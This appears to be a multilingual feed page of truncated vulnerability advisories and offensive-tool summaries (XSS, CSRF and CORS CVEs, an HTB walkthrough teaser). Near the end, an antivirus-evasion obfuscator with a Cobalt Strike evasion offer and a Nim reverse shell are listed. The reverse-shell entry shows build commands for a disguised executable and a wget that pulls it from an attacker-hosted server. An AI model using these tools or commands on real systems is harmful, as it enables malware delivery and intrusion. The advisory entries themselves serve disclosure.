CVE-2025-63708

CVE-2025-63708 CVE ID: CVE-2025-63708 배정일: 11-12-2025 문제 유형: CWE-79 크로스 사이트 스크립팅 영향 받는 제품: “AI Font Matcher” 2025-10-10 게시, nid=18425 제품 페이지: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html 발견 날짜: 2025-10-11 연구자: Dylan Davis 요약 애플리케이션...

EUVD-2026-80856

djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the SSE client→server POST endpoints are @csrfexempt and the SSE GET stream endpoint had no Origin check, so a cross-origin page could drive a...

CVE-2026-61593 djust has Cross-Site Request Forgery on the Server-Sent-Events transport: a cross-origin page can drive a victim-authenticated SSE session

djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, the SSE client→server POST endpoints are @csrfexempt and the SSE GET stream endpoint had no Origin check, so a cross-origin page could drive a...

CVE-2026-92385

A Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Online Food Ordering System version 1.0 , specifically in the file /admin/update_category.php (component: Category Update). The affected function is not publicly identified. An attacker with high privileges (i.e., an authenticate...

CVE-2025-70899

이 저장소는 PHPgurukul 온라인 과정 등록 시스템에서 CSRF 보호 누락 취약점을 입증하는 개념 증명PoC을 포함하고 있습니다. 📄 전체 PoC 보기: MissingCSRFprotectionpoc.md...

Trickster-HTB

Trickster 익스플로잇 보고서 Trickster 소개 Trickster는 여러 서비스에 걸쳐 다양한 취약점이 존재하는 중간 난이도의 Linux 머신입니다. 이 보고서는 이러한 취약점을 악용하여 전체 시스템을 장악하는 과정을 설명합니다. 익스플로잇 단계 1. PrestaShop 익스플로잇 CVE-2024-34716 오픈소스 전자상거래 플랫폼인 PrestaShop은 customer-thread 기능 플래그가 활성화되어 있을 때 XSS 공격에 취약합니다. 이 취약점을 악용하여 관리자 세션 토큰을 추출할 수 있는 악성 스크립트를...

CVE-2023-24203-and-CVE-2023-24204

CVE-2023-24203-and-CVE-2023-24204 소개 끊임없이 진화하는 사이버 보안 환경에서 웹 애플리케이션은 취약점을 악용하려는 공격자의 주요 표적이 되고 있습니다. 최근 SourceCodester Simple Customer Relationship Management CRM System v1.0에서 CVE-2023-24203 및 CVE-2023-24204라는 두 가지 심각한 취약점이 발견되었습니다. XSSCross-Site Scripting와 SQL 인젝션SQL Injection과 관련된 이 취약점들은 임의 코...

CVE-2026-88976 @platejs/core HTML deserialization can trigger browser behavior during parsing

Plate is a rich-text editor with AI and shadcn/ui. Prior to 53.3.11, and in the discontinued 54.0.0-beta.0 through 54.0.0-beta.1 builds, Plate core HTML deserialization APIs parse supplied HTML strings in the active document. When an application passes untrusted or cross-user HTML to these APIs,...

Apache HTTP Server <=2.4.39 - HTML Injection/Partial Cross-Site Scripting

Apache HTTP Server versions 2.4.0 through 2.4.39 are vulnerable to a limited cross-site scripting issue affecting the modproxy error page. An attacker could cause the link on the error page to be malformed and instead point to a page of their choice. This would only be exploitable where a server...

Langflow AI <= 1.6.9 - CORS Misconfiguration

Langflow AI versions 1.6.9 and earlier are vulnerable to a CORS misconfiguration that allows any origin to make credentialed requests. Combined with SameSite=None cookies, this enables cross-origin token theft and subsequent remote code execution via the /api/v1/validate/code endpoint. id:...

Roundcube Webmail - Cross-Site Scripting

A Cross-Site Scripting vulnerability in Roundcube through 1.5.7 and 1.6.x through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in messagebody in program/actions/mail/show.php. id: CVE-2024-42009 info: name:...

rConfig 3.9.4 - Cross-Site Scripting

The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in deviceId GET parameter of devicemgmnt.php resulting in...

OpenEMR < 7.0.1 - Cross-Site Scripting

Cross-site Scripting XSS - Reflected in GitHub repository openemr/openemr prior to 7.0.1. id: CVE-2023-2948 info: name: OpenEMR 7.0.1 - Cross-Site Scripting author: ritikchaddha,princechaddha severity: medium description: | Cross-site Scripting XSS - Reflected in GitHub repository openemr/openemr...

Nagios XI 5.7.5 - Cross-Site Scripting

Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with th...

EUVD-2026-80775

Adenion Blog2Social plugin for WordPress before 9.1.0 allows low-privileged users to modify the scheduled post records of other users. The b2scalendarmovepost AJAX handler in includes/Ajax/Post.php issues an UPDATE against the b2sposts table using only the attacker-supplied b2sid primary key with...

fudcrypt

fudcrypt Python3ベースの難読化ツールで、あらゆるアンチウイルスを簡単に回避できます。 重要: root@kitploit: 1. ペイロードファイルにすべてのライブラリのインポートが含まれ、有効なペイロードファイルであることを確認してください。 2. ペイロードが検出された場合は、私に知らせてください。スタブを更新します。 3. Cobalt Strikeの回避が必要な場合は、TelegramでDMしてください: https://t.me/whoami502 使用方法: root@kitploit: 1. python3 crypt.py Linux用 2. python...

CVE-2022-3546

CVE-2022-3546 https://vulners.com/cve/CVE-2022-3546 SourceCodester Simple Cold Storage Management System 1.0에서 취약점이 발견되었으며 문제가 있는 것으로 분류되었습니다. 이 문제의 영향을 받는 것은 Create User Handler 구성 요소의 /csms/admin/?page=user/list 파일의 알려지지 않은 일부 기능입니다. First Name/Last Name 인수의 조작은 크로스 사이트 스크립팅으로 이어집니다. 공격은 원격으로 실...

CVE-2025-60654

CVE-2025-60654 - 저장형 교차 사이트 스크립팅XSS 취약점 광고 설명란 | ---|--- 연구자| DotAdrien 심각도| 7.2 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 소프트웨어| Script Pag 설명...

CVE-2025-57926

Sink: WordPress Coreの仕組みによると、投稿コンテンツではXSSが防止されていますが、このプラグインではコンテンツがエンコードされ、レンダリング時にデコードされるため、意図せずXSSの脆弱性が生じます。 PoC: base64でエンコードされたペイロード は PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== です。...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell 예시: root@kitploit: sudo apt install nim 이에 맞게 스크립트를 업데이트하세요 root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget http://tun0:8888/spoofer-scheduler.exe -o...